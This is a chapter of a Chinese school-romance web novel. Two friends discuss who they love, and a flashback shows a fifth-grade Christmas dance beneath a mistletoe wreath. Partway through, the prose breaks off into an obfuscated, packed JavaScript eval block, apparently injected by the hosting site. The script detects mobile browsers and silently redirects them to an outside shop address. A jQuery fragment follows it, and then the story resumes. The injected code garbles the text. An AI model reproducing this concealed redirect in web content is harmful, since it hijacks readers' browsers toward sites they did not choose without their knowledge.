第十一章 、过去的人与未来的风
(一)
思曳第四次穿过排球场的时候,打排球的女生们已经上课去了,偌大的排球场,中间的网被太阳拉得细细长长,把谁的影子圈在了里面。
醒过神来的时候发现自己还拎着那袋饮料,手指被勒出红痕。
她举步朝画室走去,一个人都没有,哦,对,上课去了吧,小泊可不是像她一样随随便便就翘了课的人。
画室在美术楼,穿过小花园,绕过食堂,一个僻静的角落里,三个人彼此沉默地站着。思曳呆了一会儿,朝叶泊打招呼:“小泊,你在那里干什么?”
叶泊手冻得通红,思曳掏纸巾出来:“干什么了啊?手这么冷?头发怎么了?怎么披下来了?不怕老师骂了?上面沾的是什么?鸟屎吗?”
叶泊噗嗤一声笑出来:“颜料啦,颜料。”说着把她手中的塑料袋接过来,跟两个男生道了别,连忙拉着她跑了。
僻静的街道上,思曳说:“小泊,我觉得你说的是对的哦。”
叶泊有点心思浮动,没太听见,过了一会儿才接口:“什么啊?”
“就是,就是,你试探我说,要我跟曾遇说,去找他前女友……”
女生讶然回头,思曳的脸上有气愤,羞涩,但更多的是终于知道什么真相的释然,还有懊恼,太复杂,叶泊竟然有些看不懂,思曳一直都是直白的女生,现在说出这种话来她一点不都惊讶,只是惊讶为什么她就能如此剖白自己的心意。
“所以,你发现你真正喜欢的人是谁了?”
“对,而且刚刚确认了。”思曳信誓旦旦地点头,“我看见你们俩在一起一点感觉都没有。”
“枫桥被你自动忽视啦?”
“哈,被我发现了吧?”思曳洋洋得意地笑着,比了个胜利的手势指着她,“刚刚你们三个在讲什么?”
“不是,是枫桥在问我问题,然后桐岳出现了。”
“问你什么?”
“……唔,就是他不知道什么知道我和桐岳在一起过。”
“大姐,全班几乎都知道好吗?”
“有、有那么明显?”
“你跟他太常一起去开会了好吧?桐岳对别人虽然都很好,但是对你就很不同,不是一般的好,但也不是很刻意的好,怎么说呢,就是那种感觉吧,总之,很多人都知道,包括段明萱,不然你以为她为什么会那么恨你?”
“那枫桥?”
“他肯定也知道啦。”
“但是,”叶泊停下来,有些迷惘地苦笑,“他问我是不是还在跟桐岳交往。”
“……好迟钝。”
“他确实够迟钝的,小时候他是我们班班草,虽然我是上初中才知道这个名词的,但是听到的一瞬间想到的就是他,当时有个音乐老师最爱搞新花样,比如说练声,用舌头抵住上颚发声,叫什么斯塔卡特发声法,不知道具体是哪几个字,总之大概就是这样,然后有一年他办了个圣诞舞会,其实就是一节音乐课,让男生自己去邀请女生跳舞,班里多少男生去邀请班花呀,他也没去,多少女生自己来找他,他也不去。班花跟班草就是应该在一起的,他也没有,很迟钝吧?”
“我是说你。”思曳的话语掷地有声,“小泊,你看别人总是很清楚,轮到自己就不明白了吗?一起经历了那么多事,我不相信你心里没有判断。我都承认自己错了,你为什么不能拨开迷雾自己去问一个答案?”
思曳一个人先走了。
女生愣在当场。
下课铃响了,她才重新抬起步子。
回教学楼的时候发现有些班级的玻璃窗上喷了圣诞花环的彩绘。
真是大胆,也不怕被老师抓。
今天是平安夜。
叶泊看着看着,停住了脚。
五年级的圣诞节,叶泊惴惴地不知道那个稀奇古怪的音乐老师又会搞什么噱头。去年是让班里女生自己组成小组上来表演节目,方远星在的那个组里基本都是班里活跃的女生,组合名字叫糖心炸弹,唱着跟她们的组合名一样甜腻腻的歌曲,结束的时候几个女生手拉着手下腰,一个花环的形状,毫无悬念的第一。她?她干什么了来着?哦,大概是当最不用下腰的那一瓣花去了吧,方远星硬要拉着她加进去,她也没办法,更何况不加任何组也交不了差,那今年,会是什么?
叶泊音乐课迟到,于是答案在推门进去的时候就揭晓了。教室里的椅子全部堆到墙边,两边是泾渭分明的男生女生。附小的校服很漂亮,男生是衬衫、薄毛衣和长裤,女生上面跟男生一样,下面是校服裙子,再穿高筒袜和小皮鞋,以前男女生混杂着没觉得,如今突然被分开阵营,就有了别样的意味。
叶泊跑到校服裙那边站着,没理枫桥递来的疑惑眼神。
大概是问她干什么去了吧。
音乐老师从来管得宽松,他的课迟到叶泊一点都不怕。
叶泊于是没理枫桥的眼神,老师都不问我,你问我干嘛?
老师笑眯眯地拿出一个花环,绿色的叶子上面缀着红色丝带打成的蝴蝶结:“大家知道这是什么树做的吗?”
“圣诞树!”
“对,圣诞节的时候大街上都会挂这个!”
小孩子们争着回答问题。
“那圣诞树是什么树呢?”
“这个……”孩子们面面相觑,没有一种树的学名是圣诞树吧?
“一般是冷杉。”枫桥说。
“说对了,但这个不是冷杉树叶做的,你知道是什么做的吗?”
“槲寄生。”
“小朋友你太聪明啦。”音乐老师夸张地感叹,“那你知道这个槲寄生花环的意义吗?”
“槲寄生象征着幸福,西方神话中爱神弗丽嘉曾经许诺,无论谁站在槲寄生下,都会赐给他一个吻,因此演变成了一个传说,圣诞节的时候如果有女生站在或者经过槲寄生花环下,旁边的男生可以走上前去……亲吻她。”枫桥之前一直面无表情,面对同班同学的赞叹都不动丝毫,此刻却有点隐秘的羞涩,脸颊红了一块,飞快地看了一眼某个方向,然后又垂下头去。
“真是聪明,那就奖励你去把这个花环挂在教室后面吧,等下我们开始舞会。”趁着枫桥去挂那个花环,音乐老师拍了拍手,把大家的注意力吸引过来,教了一遍西方男士邀请女士的礼仪,“看懂了吗?就这样,现在,那边的小绅士们,可以去请你们喜欢的女孩子跳舞了,就只有三十五分钟,抓紧时间哦。”
关了灯,顶上不知道什么时候弄来了盏煽情的吊灯,投射着斑斓的光。
男生们踟蹰不前,终归还是有些羞涩。
有个男生抢先出去邀请方远星,像模像样的,方远星落落大方地答应了,把手交到男生手中,那个男生始终昂着脖子,身体僵硬,终归还是紧张的。有人带头,于是三三两两地也有男生从队伍里出去,回到中间舞池时变成了两个人。
叶泊鞋子里进了沙子,偷偷绕到最后的椅子坐下,把皮鞋脱下,悄悄把沙倒掉,生怕被人发现。
“你在干什么?”
叶泊正鬼鬼祟祟地弓着身子,闻言被吓了一跳,像只被烫了的虾子。
是枫桥。
“穿、穿鞋。”
“你怎么迟到了?”
“……中午妈妈没有做饭,爸爸带我出去吃。”
“伙食不错嘛,我吃的学校派的饭,可难吃了。”
叶泊揉了揉眼睛,没接话。
“那,那鞋子怎么进的沙子?”枫桥其实有点没话找话,灯光暧昧,他觉得有点声音才是好的。
“路过一个游乐园,进去玩了会儿。”
“你老实说吧,是不是贪玩才误
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13755113|145489||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了上课时间的,然后急急忙忙跑来,所以连鞋子进沙都没来得及管?”
叶泊觉得自己哪天要是杀人越货了第一个看出来的人肯定就是他。
枫桥看她小鹌鹑的样子就知道自己猜对了,但也没趁胜追击。教室中间跳舞的人越来越多,渐渐放开的小孩子们也从跳舞中找到了乐趣似的,不再束手束脚,方远星都跟两个不同的男生跳过舞了,但叶泊总觉得她一直在往这边看。
“你那本百科全书看的怎么样了?”
“看着呢,前几天刚看到乔木灌木什么的,所以刚刚老师的问题我才知道。”
“那本书好神奇啊,这个都有?”
“当然有啦,不然怎么配叫百科全书?”
“那你快点看啊。”
“我不是每天都在看?!”枫桥有些恼,瞪了她一眼,“你不知道看起来很累的?你听着倒是有趣,我得看多少才能老师一问我就知道啊?”
“哦,那你慢慢看啊。”
“我慢慢看到毕业的时候怎么给你啊?!”枫桥更生气了。
叶泊不知道怎么回事,吐了吐舌头:“那随便你吧。”
“哼。”枫桥一扭头。
音乐老师还弄来了cd,放着圆舞曲,之前说着话没觉得,一静下来,两个人都听到了。枫桥踢了踢她的鞋,“喂,把鞋子穿好。”
叶泊这才醒悟过来自己刚刚一直没穿鞋,还在跟枫桥说话。
她低下头去,血都冲到脑子里,有些发晕。
“你,你去跳舞吗?”枫桥声音如蚊子哼哼。
叶泊听见了,觉得更晕了,红着脸,穿好鞋子正要说话,同班的女生关小透跳完了一场舞,蹦蹦跳跳地朝他们俩走来,跟枫桥说:“林枫桥,你没去请方远星跳舞吗?”
枫桥一脸傲慢:“我为什么要去请她跳舞?”
“因为易景元和方煜承都去了啊!”
叶泊还在装着穿鞋,却悄悄回头看他,男生的脸一寸寸地红透了,声音大得不像他,像在刻意掩饰着什么,还有些气急败坏:“他们去了我就得去?我才不去!”
心一瞬间暗淡下来,叶泊徒劳地把皮鞋的搭扣拨下来又合上。
是在生气自己没有跟方远星跳第一支舞吧?
还是在吃醋她跟两个男生都跳了?
叶泊明媚地笑:“对啊,你为什么不去请方远星跳舞?”
枫桥难以置信地盯着她,眼神快要在她身上烧出两个窟窿,气得整个人像被签子戳破的气球,胸膛剧烈地起伏着,叶泊一瞬间觉得他都要来打她了,可他一句话都没跟她说,然后顶着蘑菇云出了教室。
小小的叶
泊,那个时候看着那个槲寄生花环,被枫桥亲手挂上去的花环。
她站在底下,却没有人走过来亲吻她。
曾经恩爱的父母之间有了裂痕,是父亲的错,但妈妈一直没有跟她细讲,父亲也抽着烟不肯说,两人吵架,甚至打架,平时文质彬彬的父亲像是化身恶魔,说着不近人情的话,会温温柔柔讲故事的妈妈把烟灰缸砸到父亲的书架上,叶泊被结结实实地吓到。
妈妈在房间里哭,她被爸爸带出去吃午饭,送她去上学。离上学时间还早,那么急匆匆地要去干什么呢?叶泊看着父亲消失的方向,想哭,但是撑着没有掉泪,跑到学校旁边的儿童乐园里,一个人坐滑梯,没有人在下面接她,鞋子掉在沙坑里,像在海水里沉没的船。
现在居然还气走了自己唯一的朋友,如果他愿意承认,他就是她唯一的朋友——现在她气走了他。
活该没有人爱。
活该。活该。
小女孩儿揉着眼睛,觉得手上大概沙子没有擦干净。
叶泊看了一会儿,窗户上的那个白喷漆的花环被慢慢擦掉,慢慢笑起来。
果然是被老师发现了吗?